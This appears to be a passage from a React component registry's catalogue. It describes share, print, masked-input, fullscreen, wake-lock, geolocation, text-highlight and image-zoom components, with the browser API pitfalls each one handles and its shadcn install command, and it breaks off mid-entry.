A share control that opens the device's native share sheet and quietly degrades to copying the link where that sheet does not exist. Reach for it wherever a page is worth passing on: an article or blog post, a product or listing, an invite or referral link, a public dashboard or report, a job posting, an event page, a receipt or order confirmation, a shared document or file link, a playlist or video, a profile, a support ticket a user wants to forward, or a generated QR code's target URL. Common asks it answers: 'share button react', 'web share api react', 'navigator.share button', 'native share sheet shadcn', 'share to whatsapp twitter react', 'share button with copy fallback', 'react-share alternative', 'shadcn share component'. shadcn/ui has nothing that touches navigator.share — not in button, not anywhere in its sixty-odd components — so this is written inline every time, and the inline version gets three things wrong that only show up on someone else's device. First, it assumes the API is there. navigator.share is absent on desktop Firefox, absent on any insecure origin, and present or missing on desktop Chrome depending on the OS, so the button has to have a real answer for 'no sheet' rather than throwing: here an unsupported browser, a blocked payload, or any non-cancel rejection falls through to navigator.clipboard.writeText and the label says 'Link copied', the same feedback pulld copy-button gives. Second, it awaits something first. navigator.share only resolves while the click is still the active user gesture, so building the URL or fetching a short link before calling it makes the share reject with NotAllowedError on a button that worked fine in development; this component calls share synchronously as the first thing in the handler and takes an already-resolved url prop, so pass a URL you have, not a promise. Third, it reports a cancel as an error. Dismissing the sheet rejects with AbortError, and a naive catch shows 'Sharing failed' to someone who simply closed it — here AbortError resets the button silently and reports 'cancelled' to onShare instead. The API: url (defaults to the current page URL, read at click time), shareTitle and shareText for the sheet (the native title attribute stays a tooltip), children for the resting label, timeout (default 2000ms) for how long the result state stays, and onShare(outcome) with 'shared' | 'copied' | 'cancelled' | 'failed' for analytics. Feature detection never changes what is rendered, only what the click does, so the server and the first client render agree and there is no hydration mismatch. type='button' so it will not submit a surrounding form, the result is announced through an sr-only aria-live region rather than through the icon swap, both icons are aria-hidden, and the reset timer is cleared on unmount. Styled with shadcn tokens (input, accent, ring) so it follows light and dark mode, className merges rather than fights, and the focus ring is focus-visible. One file, two lucide icons, no share library.

npx shadcn@latest add https://pulld.pages.dev/r/share-button.json
INVOICE#1041
$248
this region only

Print Button

Prints one region of the page — an invoice, a receipt, an order confirmation, a ticket or boarding pass, a packing slip, a report or dashboard panel, a chart, a table, a quote or estimate, an itinerary, a certificate, a prescription, a shipping label, a résumé, or a card carrying a generated QR code — instead of printing the page it happens to be sitting on. Common asks it answers: 'react print component', 'print div react', 'print only part of the page', 'print specific div react', 'window.print prints whole page', 'react-to-print alternative', 'print button shadcn', 'print invoice react', 'print receipt component', 'save as pdf button react', 'print styles missing react', 'printed div has no css', 'canvas blank when printed', 'form values empty when printed', 'background color not printing', 'print preview cuts off scrollable div', 'how to detect print finished react', '@media print react component'. shadcn/ui has nothing here at all: window.print, beforeprint, afterprint, @media print and print-color-adjust each appear exactly zero times across the whole 255KB of component source its registry serves, so this gets written inline every time. Not to be confused with pulld recovery-codes, which builds a sheet of its own out of data you hand it and is the right choice for backup codes; this one copies a region of the live page, styles and all. The inline version has two shapes and both are wrong. onClick={() => window.print()} prints the document — nav, sidebar, cookie banner — and clips a scrolling panel to whatever was scrolled into view. The fix usually reached for next is a global @media print rule that hides everything except one class, which puts a layout concern into app-wide CSS and breaks the next time the markup moves. This clones the region into an off-screen document instead, and the details that make that hold up are the ones a hand-rolled version leaves out. Styles do not come with a clone, so the page's own are carried over: link elements are re-linked by href rather than serialised, because reading cssRules on a cross-origin sheet — a font service, a CDN build — throws SecurityError and silently drops exactly the stylesheets you cannot see, while constructable adoptedStyleSheets have no href and are serialised instead. A base element is written into the head, because a srcdoc frame has no URL of its own and every relative image on the sheet would otherwise resolve against nothing. What the user typed is copied onto the clone, because value, checked and selected are properties and not attributes, so a filled-in form serialises back to the blank form it was authored as — on a sheet that looks finished. Canvases are redrawn as images, because cloneNode copies the element and not the bitmap, and a chart, a sparkline or a captured signature otherwise prints as white space; a tainted canvas loses its own picture rather than the sheet. print-color-adjust is forced on, because browsers drop background colours and a colour-coded table prints white on white. Scroll boxes are unclipped, because a panel keeps its height on paper and everything below its fold is simply absent. The frame recipe is the rest of it: 0x0 and transparent rather than display:none (a frame that is not displayed prints a blank page), srcdoc assigned before insertion so the only load event is the sheet's rather than the initial about:blank, printing on that load event because it is what waits for the copied stylesheets, a 3s bound on that wait so one unreachable CDN cannot leave the button doing nothing forever, and teardown on afterprint rather than on the next line, because print() blocks in Chrome and Firefox but returns immediately in Safari where removing the frame would cancel a dialog still open. The API: target is a ref to the region, documentTitle becomes the sheet's title and therefore the default filename under Save as PDF, pageStyle appends CSS after the built-in rules so you can override them, onBeforePrint fires before serialisation (expand rows, reveal detail), and onPrintEnd reports 'done' | 'unavailable' | 'failed'. That outcome is deliberately not 'printed': afterprint fires for a cancelled dialog exactly as it does for a finished job, and every 'mark as printed' flag built on it eventually lies, so this one refuses to claim more than the browser said. type='button' so it will not submit a surrounding form, the state is announced through an sr-only aria-live region, the icon is aria-hidden, the button disables itself while a sheet is being prepared so a second click cannot open a second dialog, and the reset timer is cleared on unmount. Nothing rendered depends on feature detection, only what the click does, so the server and the first client render agree and there is no hydration mismatch. Styled with shadcn tokens (input, accent, ring) for light and dark, className merges rather than fights, focus ring is focus-visible. One file, one lucide icon, no print library.

npx shadcn@latest add https://pulld.pages.dev/r/print-button.json
###-####
123-4567
submits1234567

Masked Input

Holds a text field to one fixed shape while it is typed — a postal or ZIP code, a product or licence key, a serial, model or part number, an employee, member, account or policy number, a VIN, an IBAN, a SWIFT/BIC, a tracking number, an ISBN, a tax or national ID, a MAC address, a coupon or voucher code. You give it a mask: # is a digit, A a letter, * either, \ escapes the next character, and everything else is a separator the field writes for the person instead of asking them to type it. Common asks it answers: 'react input mask', 'masked input react', 'input mask shadcn', 'format input as you type react', 'react-input-mask alternative', 'cleave.js react', 'imask react', 'cursor jumps to end react input', 'caret jumps to end when formatting input', 'input formatting moves the cursor', 'react controlled input cursor position', 'cannot edit middle of formatted input', 'paste into masked input duplicates the dashes', 'backspace does nothing in masked input', 'strip formatting before submit react', 'store unformatted value react input', 'postal code input react', 'zip code mask', 'product key input component', 'license key input four groups', 'serial number input mask', 'VIN input react', 'IBAN input formatting', 'uppercase input react', 'numeric keyboard on mobile for code field'. shadcn/ui has nothing here at all: maskInput, inputMask, formatMask, placeholderChar, setSelectionRange and selectionStart each appear exactly zero times across the 245KB of component source its registry serves (62 of its 63 indexed items are actually served; questionnaire is listed but 404s on both style tracks), and its single mention of a caret is input-otp's animate-caret-blink, a decorative blinking div rather than a caret position. So this gets hand-written every time, and the hand-written version has the same three bugs. The caret is the first and the worst: reformatting on every keystroke replaces the whole value, so the caret goes to the end — which nobody notices while typing a fresh code left to right, and which makes the field unusable the moment someone goes back to fix the third character, because every keypress throws them to the end again. It is tracked here in typed characters rather than string offsets, since the separators move underneath it — typing the fourth digit of ###-#### inserts two characters where one was typed. Backspace and Delete are intercepted for the same reason: left to the browser, backspacing over a separator deletes it, the reformat puts it straight back, and the key looks broken, so those keys remove a typed character and let the separator follow. Pasting is the second: a field that strips separators and re-inserts them cannot tell one the person pasted from one it is about to add, and produces 123--4567. Here there is no paste handler at all — pasted text, typed text and a value handed over by a parent are read through the mask by one walk, so a separator the text already carries is consumed by the slot that was going to write one, and a character that does not fit its slot is dropped rather than slid sideways into the next slot that would take it, because silently reordering what someone typed is worse than ignoring a keystroke they can see did nothing. What gets submitted is the third: the field shows 123-4567 and reports 1234567, with the formatted string beside it rather than instead of it, so a controlled parent that stores what it is handed stores the value and not the presentation. name submits the raw value, formattedName submits the formatted one when the separators are part of what you store. Not the component for a format another pulld field already owns — date-input, time-input, phone-input, currency-input and otp-input each carry rules a mask cannot express (a month that stops at twelve, a calling code that decides how many digits follow it, a decimal separator that moves with the locale, a box per digit), so use those for dates, times, phone numbers, money and one-time codes, and this one for the shapes that are only a shape. It also makes no claim about whether the contents are real: a mask is a shape and not a checksum — an IBAN has mod-97, a VIN has a check digit, a card has Luhn — so isMaskComplete reports that every slot is filled and stops there, and the field never turns red on the second keystroke. The rest of the API: tokens adds or replaces the slot characters, which is how a VIN excludes I, O and Q that no general table knows about (tokens={{ ...MASK_TOKENS, V: /[A-HJ-NPR-Z0-9]/ }}); transform folds to uppercase or lowercase for keys, VINs and IBANs; onValueChange reports the raw value plus { formatted, complete } on every keystroke; a mask that changes — a postal code whose shape follows the country above it — takes the value with it and tells the parent. Accessibility is where a mask usually fails quietly: ___-____ in a placeholder is read out as underscores or skipped entirely, so describeMask says the shape in words ("3 digits, then 4 digits") into an sr-only description, and a caller's own aria-describedby is kept alongside it rather than overwritten; pass hint for another language or null to drop it. inputMode is derived, so an all-digit mask opens the number pad on a phone and a mixed one does not; type is text, so a leading zero survives and the separators can exist at all; autoCapitalize, autoCorrect, autoComplete and spellCheck default off, because a mobile keyboard rewrites a serial number into a word between the keypress and the change event, and all four can be overridden by a field that does have a browser entry. Nothing rendered depends on feature detection, so the server and the first client render agree and there is no hydration mismatch. formatWithMask, unmask, isMaskComplete and describeMask are exported as pure functions for the places the same answer is needed outside React — a confirmation screen, an admin table, a route handler checking what arrived, a migration normalising a column written both ways. Styled with shadcn tokens (input, ring, muted-foreground) for light and dark, className merges rather than fights, focus ring is focus-visible. One file, zero dependencies.

npx shadcn@latest add https://pulld.pages.dev/r/masked-input.json

Fullscreen Button

A button that shows one element — a chart, a data table, a map, a video player, a preview pane — full-screen on its own, and keeps telling the truth about it afterwards. Reach for it wherever a panel is too small for the thing inside it: a dashboard chart somebody wants to read properly, a wide data table or log viewer, an embedded map, a code or markdown preview, an image or PDF viewer, a diagram or canvas, a kiosk or presentation view, a video or camera feed. Common asks it answers: "fullscreen button react", "react fullscreen component", "shadcn fullscreen", "requestFullscreen react", "expand chart to fullscreen", "fullscreen a div react", "maximize panel react", "react-full-screen alternative", "screenfull.js alternative", "use-fullscreen hook", "exit fullscreen button stuck", "fullscreen state wrong after escape", "escape key breaks my fullscreen toggle", "document.fullscreenElement react", "fullscreenchange listener react", "requestFullscreen not working", "requestFullscreen NotAllowedError", "fullscreen permissions policy iframe", "requestFullscreen ios safari not working", "element fullscreen iphone", "fullscreen api safari prefix", "webkitRequestFullscreen", "全画面 ボタン react", "フルスクリーン 切り替え react", "Escape で全画面が解除されると表示がずれる". Official shadcn/ui has nothing of the kind, and the measurement is not close. Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 255,796 bytes of source: requestFullscreen, exitFullscreen, fullscreenElement, fullscreenchange, fullscreenEnabled, webkitRequestFullscreen, allowFullScreen and the bare word fullscreen are every one of them zero hits. The four matches for "expand" are sidebar's expanded/collapsed state and a has-aria-expanded rule on a table row. So an agent asked for this writes it from scratch, and the version it writes has a specific bug in it. The bug is a `const [isFullscreen, setIsFullscreen] = useState(false)` flipped inside the click handler. It demos perfectly. Then the user presses Escape — which is how most people leave full screen, along with F11 and the browser's own chrome — and none of those go through the button. The boolean stays true, the label reads "Exit fullscreen" over a windowed page, and clicking it now asks to *leave* a full screen nobody is in, so the button is stuck in the wrong state for good and no amount of pressing fixes it. The only real state is `document.fullscreenElement`, and the only way to stay level with it is to subscribe to `fullscreenchange` and re-read. That is what this does: entering never writes the state, it only asks — the event is the sole writer — so the label cannot drift from the browser, whatever route the user took out. The comparison is the half that is usually missed even by implementations that do subscribe. `!!document.fullscreenElement` is a property of the page, not of your element: put a fullscreen button on both a chart and a table, expand the chart, and the table's button lights up as well and offers to exit something it does not own. The state here is `document.fullscreenElement === target`, and `exit()` refuses to act unless that holds, because `exitFullscreen` is document-wide and would otherwise cancel a full screen that belongs to another component. Two things about the request itself. It is called with nothing awaited ahead of it, because the browser only grants it while the click is still the active user gesture — measure the element or fetch something first and it rejects with NotAllowedError, in production, on a button that worked in development where the await was fast. And the returned promise really does reject: an iframe embedded without `allow="fullscreen"` has the method and is refused by permissions policy, which arrives asynchronously, after the gesture is spent. That leaves the environment the API is simply not in. On an iPhone, Safari has element full-screen for `<video>` and nothing else — `requestFullscreen` is absent, not refused — so a button that assumes the method exists is dead on the most common phone on the web, silently, with nothing in the console. Rather than detect and disappear, this keeps working by other means: where the API is missing, or refused, it covers the viewport with CSS instead and reports `mode: "css"` so you can tell the difference. That fallback is written as inline styles rather than class names on purpose — a panel wearing `h-64 max-w-md rounded-lg` ignores `position: fixed; inset: 0` and stays a small rounded card in the corner, because an explicit height wins over an over-constrained box — and every property's previous inline value is saved and put back on exit. It also paints a backdrop when the target's own background is transparent, taken from the nearest ancestor that paints one so it stays right in both themes, and it wires Escape by hand, since the real API's Escape is not there to inherit. Unmounting restores the target: the alternative is a panel pinned over the page with no way back. Feature detection never reaches the render, so the server and the first client render agree and nothing hydrates twice; `isFullscreenSupported` and the hook's `isSupported` are there for when you want to hide your own control, and both read the permissions policy rather than just the method. The state is carried by `aria-pressed` — an icon swap is not something a screen reader reports — the icon is `aria-hidden`, `iconOnly` keeps the label as the accessible name instead of dropping it, focus-visible rings are the shadcn ones, and it is a real `<button type="button">` so it will not submit the form it sits in. Older Safari's `webkit` spellings are handled for the request, the exit and the event. The API: `targetRef` is the element to expand, plus `enterLabel`, `exitLabel`, `iconOnly`, `cssFallback` and `onFullscreenChange` — which fires on every flip including the ones the user made with Escape, and is not called `onChange` because that is a native attribute of `<button>`. `useFullscreen(targetRef)` returns `{ isFullscreen, mode, isSupported, enter, exit, toggle }` for a control you lay out yourself. One thing worth knowing before you place it: put the button **inside** the element it expands. Everything outside the full-screen element is not rendered, so a button sitting beside the chart vanishes the moment it is pressed, taking the keyboard focus with it and leaving Escape as the only way back. Within pulld it sits next to the components that make a panel readable rather than bigger: image-comparison and image-crop work on one image, scroll-shadow and virtual-list handle a pane that is too small to show everything, and print-button is the other way of getting content out of a cramped box. Distinct from a dialog: this is the browser's own full screen over the whole display, with no overlay, no focus trap and no scrim. One file, one dependency (lucide-react for the two icons), and every colour is a shadcn token, so light and dark follow on their own.

npx shadcn@latest add https://pulld.pages.dev/r/fullscreen-button.json
stays on

Wake Lock Toggle

A toggle that stops the screen going dark while somebody is looking at it but not touching it, and — unlike every version written by hand — keeps on being true about whether the screen is actually being held awake. Reach for it wherever the page is being read rather than operated: a recipe followed with both hands busy, a barcode, QR code or boarding pass held up at a till or a gate, sheet music or guitar tabs on a stand, a presentation or kiosk view, a workout, cooking or interval timer counting down, an inspection or picking checklist walked through on a phone, turn-by-turn directions, a live scoreboard or auction, a long article or PDF being read, a dashboard left up on a wall display, a video call or a camera feed. Common asks it answers: "keep screen awake react", "prevent screen from sleeping web", "screen wake lock react", "wake lock api react", "navigator.wakeLock react", "useWakeLock hook", "react-screen-wake-lock alternative", "NoSleep.js alternative", "stop phone screen turning off website", "keep display on pwa", "wake lock toggle shadcn", "shadcn keep screen on", "wake lock released when tab hidden", "wake lock stops working after switching tabs", "wakeLock request NotAllowedError", "navigator.wakeLock is undefined", "wake lock not working on http", "screen-wake-lock permissions policy iframe", "release wake lock on unmount", "画面が消えないようにする react", "スリープ防止 ウェブ", "スクリーンスリープ 無効化 react", "タブを戻すと画面が消えてしまう". Official shadcn/ui has nothing of the kind, and the measurement is not close. Fetching all sixty-three registry entries today — sixty-two are fetchable, questionnaire alone 404s, and nine of the newer ones are only served on the new-york-v4 style track, so a probe of new-york and default silently misses them — and concatenating the component sources themselves rather than their JSON envelopes gives 223,287 bytes. In it, wakeLock, WakeLock, requestWakeLock, WakeLockSentinel, screen-wake-lock, keepAwake, NoSleep, visibilityState and visibilitychange are every one of them zero hits. Official has no component that reacts to the tab being hidden at all, so an agent asked for this writes it from scratch, and the version it writes has one specific bug in it. The bug is a single `const [isOn, setIsOn] = useState(false)` flipped inside the click handler, which makes the toggle a claim about the lock rather than a reading of it. It demos perfectly, because a demo never leaves the tab. Then the user glances at a message and comes back — and the browser releases a screen wake lock the moment the document stops being visible, silently, with no callback and nothing in the console. The toggle still reads "Screen stays on"; the phone in their hands starts dimming on schedule. Nothing in the UI ever admits it. That is the failure this component is built around: the lock has to be taken again on the way back, and the way back is `visibilitychange`. So the state here is two things, not one. `isEnabled` is what the user asked for and it survives the hidden stretches; `isActive` says whether a sentinel is being held right now, and it is written only by the sentinel’s own `release` event — the event the browser fires when the tab is hidden, the window is minimised, the battery gets low or the OS simply takes it back. On the element they appear as `aria-pressed` and `data-active`, so `aria-pressed="true"` with `data-active="false"` is a readable, honest state rather than a lie. Note what this does not need, because it is the exact opposite of the Fullscreen API and the difference is load-bearing: `wakeLock.request()` does not require a user gesture. It requires the document to be visible. That is what makes the re-acquire possible at all — there is no click to hang it on when somebody switches back to a tab — and it is also why the request fails in places a click would have got through. Asking while hidden is a guaranteed NotAllowedError, so it is not asked; and a NotAllowedError that arrives because the tab went away mid-request is a race, not a refusal, so it is not reported — a version that surfaces it puts an error in front of the user every time they switch tabs. A refusal that arrives while the page is visible is the real thing — an iframe that was not granted `allow="screen-wake-lock"`, or a browser that has decided no — and there the setting goes back off and `onWakeLockError` fires, rather than retrying on a timer that would spin forever. TypeScript will not help you here and will in fact mislead you. Since TS 5.x, lib.dom.d.ts declares `readonly wakeLock: WakeLock` on Navigator — not optional — so `navigator.wakeLock.request("screen")` type-checks cleanly and then throws `TypeError: Cannot read properties of undefined` at runtime wherever it is absent. This is a secure-context API, so that includes every page served over plain http: the staging box on an internal IP, the phone opening your dev server by LAN address. Detection is written by hand with an `in` check, it never reaches the render — so the server and the first client render agree and nothing hydrates twice — and where the API is missing the control stays in the tab order with `aria-disabled` and an accessible name that explains itself, rather than taking the `disabled` attribute that would remove it from the tab order so nobody ever hears why. The rest is the lifecycle nobody gets to on the first pass. Only one request is ever in flight, because a hidden/visible flap can fire two before the first settles and every sentinel but the last would be leaked, held with nothing left pointing at it. A sentinel that arrives after the user has switched the toggle off is released immediately instead of kept. Unmounting hands the lock back, because the sentinel is owned by the document rather than by the component: navigating from the recipe to the checkout inside a single-page app would otherwise leave the screen pinned awake with no control left to turn it off. The API: `WakeLockToggle` takes `defaultEnabled`, `onLabel`, `offLabel`, `unsupportedLabel`, `iconOnly`, `onEnabledChange` and `onWakeLockError` — named that way rather than `onChange` and `onError` because both of those are native DOM attributes React defines on every element, and a prop by either name collides the moment the options are spread onto the button. `useWakeLock()` returns `{ isEnabled, isActive, isSupported, error, enable, disable, toggle }` for a control you lay out yourself, and `isWakeLockSupported()` is there when you would rather hide your own. Within pulld it sits with the other components that watch what the browser is doing behind the app rather than what the user is doing in it: idle-timeout is the mirror image, ending a session when nobody is there, network-status reports a connection that changed without being asked, countdown and save-status are the things most often on screen while this is on, and fullscreen-button is the other half of a kiosk or presentation view. Distinct from a CSS or meta-tag trick: this is the browser’s own screen wake lock, and it lets the display dim on the browser’s terms the moment the setting is turned off. One file, one dependency (lucide-react for the two icons), every colour a shadcn token, so light and dark follow on their own.

npx shadcn@latest add https://pulld.pages.dev/r/wake-lock-toggle.json
Use my location

Geolocation Button

A "use my current location" button that is right about why it didn't. It asks the device for a position and, when that is refused, works out which of four unrelated things the refusal actually was — because the browser reports all four with the same number — so what it puts on screen is advice that can work rather than advice that cannot. Reach for it wherever typing an address is the worst part of the page: the "find my address" step of a checkout, signup, delivery or booking form; a store, branch, ATM, pharmacy, restaurant or EV-charger finder; a weather, air-quality, pollen, tide or prayer-times view that ought to open on where you already are; the initial centre of a map; a check-in, attendance, inspection or field-service app; a taxi, ride or courier pickup point; local search, classifieds, jobs or property listings; a "near me" radius on events or dating; a shipping, delivery-window or tax estimate; and any first run that would otherwise begin by asking somebody which city they are in. Common asks it answers: "geolocation react", "use my current location button", "get user location react", "navigator.geolocation react", "useGeolocation hook", "react-geolocated alternative", "shadcn geolocation", "current location button shadcn", "getCurrentPosition react", "watchPosition react hook", "request location permission react", "geolocation permission denied react", "user denied geolocation how to ask again", "how to re-request location permission", "geolocation prompt not showing", "getCurrentPosition not working on localhost", "geolocation not working over http", "geolocation requires https", "getCurrentPosition hangs forever", "geolocation timeout default infinity", "location spinner never stops", "clearWatch react", "geolocation battery drain", "navigator.permissions.query geolocation", "check if location is blocked without prompting", "geolocation in iframe not working", "Permissions-Policy geolocation". The reason to install one rather than write it is that the platform answers four different questions with one number. The specification's "request a position" algorithm calls back with PERMISSION_DENIED when a Permissions Policy forbids the feature, again when the page is not a secure context, and again when the stored permission is "denied" — and a prompt the user closes without answering arrives the same way. The version everyone writes maps that code to "you have blocked location access, turn it back on in your browser settings", which is true in one of those cases and misleading in the other three. On the http staging box on an internal IP there is no setting to change and no prompt was ever shown. Inside an <iframe> without allow="geolocation", the same. And somebody who merely dismissed the dialog is told they blocked something they did not. So the code is never taken at face value. Two of the causes are settled before calling at all, which is also what stops a doomed request being made: the secure-context check — needed because the attribute is not [SecureContext] and so is present, and useless, on every http origin, which is why the usual feature detect passes there — and document.permissionsPolicy.allowsFeature("geolocation") where a browser has it. The rest is decided by reading the stored state with navigator.permissions.query, which answers without prompting: still "prompt" after a refusal means the dialog was dismissed, "granted" means the block came from above the user, and "denied" means it is the user's own. Only the first of those is offered a retry, because the specification is explicit that once the state is "denied", getCurrentPosition calls back immediately without prompting — a "Try again" button there cannot work, and returns the same error instantly for as long as the page stays open. What it offers instead is the browser's own site settings, and it subscribes to the PermissionStatus change event, so the moment somebody flips that switch the dead end clears itself and the button works again with no reload. Two more defaults are corrected on the way past. timeout is Infinity in the browser, so the hand-written version hangs — no success, no failure, spinner still turning — on a phone indoors, in a lift or in aeroplane mode; this one always sends a finite deadline. And that deadline does not cover everything, which is why the button separates "waiting for permission" from "finding your location": by the specification the time spent waiting for the document to become visible and for the permission to be answered is not included in timeout, so an unanswered dialog is an unbounded wait — correctly, because a person deciding whether to hand over their location is not a fault and must not be cut off and told it failed. Watch mode registers with watchPosition and hands it back with clearWatch on unmount, on clear() and before any restart, which is the leak with no symptom on screen: an abandoned watch keeps the location hardware awake for the life of the page, long after the map that wanted it was navigated away from. Official shadcn/ui has nothing here — geolocation, getCurrentPosition, watchPosition, clearWatch, coords, navigator.permissions and PermissionStatus appear nowhere in its components. Within pulld it is the one that has to ask for something: network-status works out whether the network is really there, wake-lock-toggle holds a resource the browser can take back silently, and this one handles the permission that can be refused for good. It sits naturally beside a map or an address form, and alongside country-select, phone-input or timezone-select on the same form. useGeolocation() is exported for a control of your own, handing back phase, position, failure, permission, isSupported, request() and clear(); isGeolocationSupported() is exported too and reports only that the API exists — deliberately not that it will work, which on http is a different question. The failure object carries a cause, the browser's own code, a retryable flag and wording you can override per cause, so a design of your own can draw the same distinctions. The message sits in an always-mounted polite live region, because a live region inserted together with its text is not reliably announced and would be silent for exactly the people relying on it. The button uses aria-disabled rather than disabled, so a refusal keeps its place in the tab order and can still explain itself, points at the message with aria-describedby, and carries aria-busy while it waits. Every colour is a shadcn token, so it follows light and dark, and the whole thing is one file.

npx shadcn@latest add https://pulld.pages.dev/r/geolocation-button.json
color
the accent colorand every colortoken it follows

Highlight Text

Text with the parts matching a search query highlighted, built so that neither the text nor the query can break it — and both of them routinely arrive from a URL query string. Reach for it wherever somebody has just typed something and needs to see where it landed: search results and their snippets, a filtered list or a table under an active filter, in-page and in-document find, a docs or knowledge-base search page, log and diff viewers, autocomplete and combobox options, a tag or user picker, admin record lookup, and the "showing 12 results for …" line above any of them. Common asks it answers: "highlight search term react", "highlight matching text react", "react-highlight-words alternative", "highlight-words-core", "react highlighter component", "shadcn highlight text", "highlight search results react", "mark tag react", "wrap matches in mark react", "highlight substring in string react", "highlight multiple words react", "case insensitive highlight react", "highlight text without dangerouslySetInnerHTML", "highlight search term xss", "escape regex special characters search", "new RegExp from user input invalid regular expression", "search query with special characters breaks", "highlight accent insensitive search", "remove diacritics search javascript", "normalize NFD strip combining marks", "highlight overlapping matches", "find in page highlight react", "scroll to current match react", "検索ワード ハイライト react", "該当箇所を光らせる", "検索結果 マーカー 表示", "全角 正規表現 エスケープ 検索". The reason to install one rather than write it is that the three-line version is a security bug. `text.replace(query, '<mark>' + query + '</mark>')` into dangerouslySetInnerHTML is what everybody writes first, and it injects HTML from two directions at once — the body text and the search term, which on a results page is usually `?q=` straight off the address bar. This never builds a string of HTML at all. It cuts the text into runs and React renders them, so a `<script>` in either input is characters on screen and nothing else. The query is never compiled to a regular expression either, which is the other half of the same problem and the one that shows up in the bug tracker rather than the security report. `C++`, `a.b`, `$100`, `(draft)` and `[WIP]` are all ordinary things to type into a search box and all of them are also regex syntax: `new RegExp(q)` throws `Invalid regular expression` on some and, worse, quietly matches the wrong text on others — search `a.b` and watch `axb` light up. The usual patch is an escaping helper copied from a gist. Here there is nothing to escape, because matching is `indexOf` over a folded copy of the string. That folded copy is where the real work is. Matching has to ignore case and accents — `café` should be found by `cafe` — but the highlight has to be drawn on the original text, and the two strings do not have the same length. Stripping a combining mark shortens it; `İ` lowercases to two characters and lengthens it; `Σ` and its word-final form `ς` are the same letter written two ways, so `ΕΛΛΑΣ` is invisible to anyone typing `ελλάς`. An offset found in one string and used in the other is wrong by a few characters, and the damage lands next to the highlight rather than in it — a duplicated or eaten letter somewhere along the line, where nobody is looking. So no offset is ever converted: the text is split into grapheme clusters with `Intl.Segmenter`, each is folded on its own, and every match is carried back through a recorded boundary. Concatenating the output always reproduces the input exactly, whatever the query. Working in graphemes is also what stops it tearing a character in half. A flag is two regional indicators, a thumbs-up with a skin tone is a base plus a modifier, and a `<mark>` drawn around the first half of either one splits it on screen — the flag falls apart into two letters, the modifier is orphaned beside the thumb. A match that covers only part of a character is passed over and the search carries on from the next position. Multiple terms are handled the way a reader expects rather than the way the loop falls out. A string query is split on whitespace, because that is what the search backend did with it and a phrase that never occurs verbatim would otherwise highlight nothing at all; pass an array to match exact phrases instead. Terms that overlap — `ab` and `bc` both land on `abc` — are merged into one highlight, since a `<mark>` cannot be nested inside another and emitting the shared letter twice corrupts the text. Matches that merely touch are deliberately left as two, so a find bar still counts what the reader can see. It is a real `<mark>` element rather than a styled span, which matters on somebody else's machine: in Windows high contrast mode the browser replaces author colours with system ones and knows to give a `<mark>` the system's own highlight pair, while a span painted to look identical is handed the ordinary page colours and every highlight on the page silently disappears for the readers who turned high contrast on in order to see things. The user-agent `color: black` that ships with `<mark>` is overridden so the text keeps the colour it already had instead of turning black in dark mode, and the highlight carries no horizontal padding, which would otherwise re-space the line as the reader types. The text itself is never cut down or rewritten, so screen readers, find-in-page, selection and copy all see exactly the string that was passed in. For a find bar with next and previous buttons, `activeIndex` marks one match as the current one: the marks carry `data-match-index`, the active one carries `data-active="true"` and `aria-current`, and bringing it into view is `container.querySelector('[data-active="true"]')?.scrollIntoView()`. `splitHighlight(text, query, options)` is exported on its own — a pure function from a string and a query to a list of runs — for counting matches, for highlighting into a canvas or a PDF, or for testing your own rendering. Official shadcn/ui has nothing for this, and the measurement is not close: fetching all sixty-three registry entries today (sixty-two are fetchable, questionnaire alone 404s, and nine of the newer ones are served only on the new-york-v4 style track) and concatenating the component sources gives 211,787 bytes, in which `<mark`, `Highlight`, `escapeRegExp`, `Intl.Segmenter`, `normalize("NFD")`, `searchWords`, `caseSensitive` and `matchDiacritics` are every one of them zero hits. The two occurrences of the word are `data-highlighted`, the Radix menu-item state, which is a different thing entirely. Within pulld it is the display half of search: search-input is where the query is typed, command-palette highlights the fuzzy subsequence it matched inside its own option list, and this is the one you point at arbitrary body text. It composes with read-more and middle-truncate on the same line of a result, and sits naturally in a table cell, a tree-view label or a diff-view row. No dependencies, and no hooks — so it renders inside a React server component with no "use client" of its own and ships no client JavaScript, which is the common case, because search results have usually just been fetched on the server.

npx shadcn@latest add https://pulld.pages.dev/r/highlight-text.json
200%

Image Zoom

A frame that zooms whatever is inside it — wheel, trackpad pinch, double click or the buttons — and lets you drag it around once it no longer fits. Reach for it wherever a picture is too detailed to read at the size it is shown: product and listing photography where the buyer wants the fabric, the stitching or the serial number, floor plans and architectural drawings, engineering and CAD schematics, circuit diagrams, maps and site plans shipped as images, satellite and aerial imagery, medical scans and microscopy, screenshots in documentation and bug reports, design and artwork review, scanned documents and receipts, org charts and flow diagrams, dense data visualisations, archive and museum photography, and any figure in an article that is legible on a desktop and unreadable on a phone. Common asks it answers: "image zoom react", "pan and zoom component", "pinch to zoom image", "zoom into image on scroll", "wheel zoom image react", "draggable zoomable image", "zoom and drag image", "react-zoom-pan-pinch alternative", "medium-zoom alternative", "panzoom alternative", "image viewer component", "zoomable diagram", "magnify image component", "shadcn image zoom", "shadcn pan zoom". Official shadcn/ui has nothing for this and no combination of its parts reaches it: aspect-ratio only holds a box at a shape, carousel moves between pictures rather than into one, dialog can present an image larger but cannot magnify part of it, and scroll-area scrolls content it never scales. Distinct from image-comparison, which slides between two pictures of the same thing, and from image-crop, which chooses a region to save — this one changes nothing and only alters how closely you are looking. Pairs with fullscreen-button, which is how the frame gets big enough for zooming to pay off: go full screen first, then zoom in. The component turns on one piece of arithmetic: whatever is under the pointer stays under the pointer. Applying scale() about the centre of the frame is the one-line version everybody writes, and it is useless on anything worth zooming — the detail you aimed at slides toward the edge as you go in, faster the further from the middle it started, so reading a label becomes a game of zoom-then-drag-it-back. Here the translation is re-solved for each new scale so the anchor holds, and the scale is clamped before the translation is solved rather than after, which is what stops the picture lurching sideways on every wheel notch past the maximum. Four more things it settles that are invisible until they are wrong. The wheel listener is registered by hand with passive: false, because React attaches onWheel passively in several browsers and a passive listener's preventDefault is silently ignored — the frame zooms while the page scrolls out from under it. A trackpad pinch arrives as a wheel event with ctrlKey set rather than as a touch gesture, so a component written only for touch does nothing at all on a laptop; both paths run through one handler here. Wheel deltas are read with deltaMode, because Chrome and Safari report pixels while Firefox reports lines — ignoring it makes the zoom feel right in one browser and roughly sixteen times too slow in the other. And the steps are exponential rather than linear, so scrolling in and back out lands on the scale you started from instead of creeping smaller all afternoon. Everything the pointer can do has a keyboard form, because none of these gestures have one on their own: the frame is a tab stop, + and - zoom about its centre, the arrow keys pan, and 0 resets. The arrows are left to the page when there is 